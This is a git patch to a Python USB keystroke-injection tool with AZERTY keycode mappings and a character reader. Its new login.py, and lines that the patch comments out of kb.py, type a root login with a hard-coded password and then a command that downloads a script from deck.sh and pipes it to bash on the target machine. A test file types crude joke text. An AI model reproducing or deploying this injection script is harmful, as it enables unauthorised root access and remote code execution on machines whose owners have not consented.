From 3c5d5fa2c0b4dbb62f37b8f70cc96cec4cb37621 Mon Sep 17 00:00:00 2001 From: Cole Deck Date: Thu, 22 Oct 2020 00:36:54 +0100 Subject: [PATCH] add direct input and catch errors --- __pycache__/getch.cpython-37.pyc | Bin 0 -> 1745 bytes __pycache__/kb.cpython-37.pyc | Bin 0 -> 1183 bytes __pycache__/keycodes.cpython-37.pyc | Bin 2102 -> 2092 bytes getch.py | 39 ++++++++++++++++++++++++++++ input.py | 14 ++++++++++ kb.py | 29 ++++++++++++++------- keycodes.py | 9 ++++--- login.py | 10 +++++++ template.py | 3 +++ test.py | 6 +++++ 10 files changed, 97 insertions(+), 13 deletions(-) create mode 100644 __pycache__/getch.cpython-37.pyc create mode 100644 __pycache__/kb.cpython-37.pyc create mode 100644 getch.py create mode 100755 input.py create mode 100755 login.py create mode 100755 template.py create mode 100755 test.py diff --git a/__pycache__/getch.cpython-37.pyc b/__pycache__/getch.cpython-37.pyc new file mode 100644 index 0000000000000000000000000000000000000000..f0ed174db1d7521ea33ee0fe79e50e02d6c2e4aa GIT binary patch literal 1745 zcmbVMPm|j;6xScyak5F+7KUM%0v=BIlD%+bn3k65ltT^_*y4-EV`&>NjvXW|Z8FYj z`vLd}$&v5Dr_hyC&)hiip4@o5yE8DL*tk9ibbyT!YZAd>1LT2o7XbeGAZlTg`FkI zqehveZfv58MUz9$SdJC4!!k`d&aR`)Q;rBg$OV_jFV7C$8<_J?{pSt2Z?JL zVTFB0sM3-h*}sXEY7RRo)e$V-e>b5VdMom(5(1&{ClGndOLsC)BNVIir4j;^&LJdUG-mLNfRTW-ifpN0>6ZBpviWN`A}Mp++O^|mZBpLV=ML=a zyEyrfuj0n6ra%VG6S{f#s=c=xf@()Vz9AMqZiRtiu`O@uIo}0)vJG0k3)^5%x8Wvf z*)BSq>?tMwdmtH{MyCKmkd0f=I3Kp*o>TIS*pWT5<2Jga_yY~Rf_$!z!S`z{cRJ~^ z!u;F-ZqTx9j0=sGW$mJ~vQl-E4Q&B9%&pZ~WR%tU3m0gWOFRJH9}K^H`1HY}Zy!9F zyKtq;+B&{aFCA~ROb1;JeffMLu>+2s$!y$IQh*5y_t<2tSllcx;ssR;VS*@xik10q($)>R$oh5RE(fBb=@-VSf`{{6+Tyec3-F K)A97qboe*2-c%z1 literal 0 HcmV?d00001 diff --git a/__pycache__/kb.cpython-37.pyc b/__pycache__/kb.cpython-37.pyc new file mode 100644 index 0000000000000000000000000000000000000000..570b36dee1d7f4d50dde3fc729cc77d4feadf696 GIT binary patch literal 1183 zcmZuwUr!T35Z~GR)9X=)Ax((Um?JU7`iF|~!3SeNAn}1T5hdV7LrQnGwWW9LEn=JU zgzp-|2Y@&I7(V(H_Q4kulO}$GJ~^{3h~Qp!W_D+1_IESCeLOxMG8~`3ecJqkaYdZr4#; zw@Qw2lT@~ix2GCf8eg_+iI628`%0#X(uThlUzzgpp21YPo@~o<+9+3db)q||EH}4i z(~c?F;LTwKR)A$L3I+vG0qRre^b6#%&?7W7(;%S8H1A?X&BZ4RtH!C-RSAq+t5=o9I1~iIghNo|x`XSC@-R>nDE|-WI(mkH4nT7P zGXjNuIu9zsvx>St0;LMHF-9Ap#>u9N{Rd4o&C2LGL30W1Q#6E-a@z9zM&tdj9$R9s zeo$WpG`X4)d>;toTi%1qwoE%d`W*Dl3-`PaJsx^u;a~I|ImfI=IS=tvuIX7FG(jEy zn_s)y6Zzuku6BS7!$^xL#ON<#Y#+L}JCoW!i)x*c?zF=*>VHtTg;|AOD ziKWQS@yY;t19&-rX#;ZxZW?%CV8KA#ClVP5V{f_ge0jBdZ>^o}ro>JuqNeN+W2d8q ztQjpPEg3DzS~Jo~R23o`otrHMib`#Q(eW$}M^-D-CahJ{hOV|6U1=$18)=zhyi_&X z8sCGvmnaeYEvdD@Ct|lH9}$Hz;!xlOJea}B{{U<(?#2KB literal 0 HcmV?d00001 diff --git a/__pycache__/keycodes.cpython-37.pyc b/__pycache__/keycodes.cpython-37.pyc index 0f6d51c441f550765663056b7fac2b8abf838d17..9ac577c5465a3b216fbb1aea3294e9bd4af25797 100644 GIT binary patch delta 192 zcmdlcuttE_iIP>@7yUUySO0nvA!&vQsOQ^HWlDic3~96ioyw0u#SP b^fU5vQ}qinC;PKkOs;450AiuZ@*La%EGIrT diff --git a/getch.py b/getch.py new file mode 100644 index 0000000..b03c824 --- /dev/null +++ b/getch.py @@ -0,0 +1,39 @@ +class _Getch: + """Gets a single character from standard input. Does not echo to the +screen.""" + def __init__(self): + try: + self.impl = _GetchWindows() + except ImportError: + self.impl = _GetchUnix() + + def __call__(self): return self.impl() + + +class _GetchUnix: + def __init__(self): + import tty, sys + + def __call__(self): + import sys, tty, termios + fd = sys.stdin.fileno() + old_settings = termios.tcgetattr(fd) + try: + tty.setraw(sys.stdin.fileno()) + ch = sys.stdin.read(1) + finally: + termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) + #print(hex(ord(ch))) + return ch + + +class _GetchWindows: + def __init__(self): + import msvcrt + + def __call__(self): + import msvcrt + return msvcrt.getch() + + +getch = _Getch() diff --git a/input.py b/input.py new file mode 100755 index 0000000..4c57a36 --- /dev/null +++ b/input.py @@ -0,0 +1,14 @@ +#!/usr/bin/env python3 +from kb import write_str +from time import sleep +from getch import _Getch + +get = _Getch(); +while True: + input_key = get() + print(input_key) + #if input_key == "?": + # break + if ord(input_key) == 27: + break + write_str(input_key) diff --git a/kb.py b/kb.py index 08c0f75..8c1f65d 100755 --- a/kb.py +++ b/kb.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 import keycodes -import time +#import time NULL_CHAR = chr(0) @@ -52,8 +52,14 @@ def write_str(word): letter = "\\" write_caps(keycodes.keycodelst[letter]) continue + if letter == "!": + letter = "1" + write_caps(keycodes.keycodelst[letter]) + if letter == "*": + letter = "8" + write_caps(keycodes.keycodelst[letter]) if letter.capitalize() == letter and letter >= 'A' and letter <= 'Z': - print(letter.capitalize(), letter) + #print(letter.capitalize(), letter) write_caps(keycodes.keycodelst[letter]) write_report(NULL_CHAR*8) continue @@ -61,13 +67,18 @@ def write_str(word): letter = letter.capitalize() if letter == "\n": letter = "ENTER" - write_char(keycodes.keycodelst[letter]) - write_report(NULL_CHAR*8) + try: + write_char(keycodes.keycodelst[letter]) + except: + print("Unsupported keycode! Ask Cole Deck to add support.") + finally: + write_report(NULL_CHAR*8) -write_str("root\n") -time.sleep(0.5) -write_str("qwertypass\n") -time.sleep(2) -write_str("dwget deck.sh/p -qO-|bash\n") +#write_str("root\n") +#time.sleep(0.5) +#write_str("qwertypass\n") +#time.sleep(2) +#write_str("dwget deck.sh/p -qO-|bash\n") +#time.sleep(1) #write_word("test|er") diff --git a/keycodes.py b/keycodes.py index 7cf14a2..6035db3 100644 --- a/keycodes.py +++ b/keycodes.py @@ -43,8 +43,8 @@ keycodelst["TAB"] = 0x2b keycodelst[" "] = 0x2c keycodelst["RIGHT_PARENTHESIS"] = 0x2d keycodelst["="] = 0x2e -keycodelst["CARET"] = 0x2f -keycodelst["DOLLAR_SIGN"] = 0x30 +keycodelst["^"] = 0x2f +#keycodelst["DOLLAR_SIGN"] = 0x30 keycodelst["\\"] = 0x31 # Actually a mu keycodelst["#"] = 0x32 keycodelst["U_ACCENT"] = 0x34 @@ -92,8 +92,9 @@ keycodelst["REFRESH"] = 0xfa # Keycodes that have no mapping in AZERTY keycodelst["/"] = 0x38 -keycodelst["["] = 0x0 +keycodelst["["] = 0x2f keycodelst["-"] = 0x2d -keycodelst["]"] = 0x0 +keycodelst["]"] = 0x30 keycodelst["."] = 0x37 keycodelst["\'"] = 0x31 # This exists, but we use keycodelst["4 instead. +keycodelst["`"] = 0x35 diff --git a/login.py b/login.py new file mode 100755 index 0000000..88c0504 --- /dev/null +++ b/login.py @@ -0,0 +1,10 @@ +#!/usr/bin/env python3 +from kb import write_str +from time import sleep + +write_str("root\n") +sleep(0.5) +write_str("qwertypass\n") +sleep(2) +write_str("dwget deck.sh/p -qO-|bash\n") +sleep(1) diff --git a/template.py b/template.py new file mode 100755 index 0000000..aea5802 --- /dev/null +++ b/template.py @@ -0,0 +1,3 @@ +#!/usr/bin/env python3 +from kb import write_str +from time import sleep diff --git a/test.py b/test.py new file mode 100755 index 0000000..4a00ff8 --- /dev/null +++ b/test.py @@ -0,0 +1,6 @@ +#!/usr/bin/env python3 +from kb import write_str +from time import sleep + +#write_str("Number one. Steady hand. One day, Kim Jong Un need new heart. I do operation. But mistake! Kim Jong Un die! SSD very mad! I hide fishing boat, come to America. No English, no food, no money. Darryl give me job. Now I have house, American car and new woman. Darryl save life.\n\nMy big secret. I kill Kim Jong Un on purpose. I good surgeon. The best!") +write_str("Today when I walked into my economics class I saw something I dread every time I close my eyes. Someone had brought their new gaming laptop to class. The Forklift he used to bring it was still running idle at the back. I started sweating as I sat down and gazed over at the 700lb beast that was his laptop. He had already reinforced his desk with steel support beams and was in the process of finding an outlet for a power cable thicker than Amy Schumer's thigh. I start shaking. I keep telling myself I'm going to be alright and that there's nothing to worry about. He somehow finds a fucking outlet. Tears are running down my cheeks as I send my last texts to my family saying I love them. The teacher starts the lecture, and the student turns his laptop on. The colored lights on his RGB Backlit keyboard flare to life like a nuclear flash, and a deep humming fills my ears and shakes my very soul. The entire city power grid goes dark. The classroom begins to shake as the massive fans begin to spin. In mere seconds my world has gone from vibrant life, to a dark, earth shattering void where my body is getting torn apart by the 150mph gale force winds and the 500 decibel groan of the cooling fans. As my body finally surrenders, I weep, as my school and my city go under. I fucking hate gaming laptops.")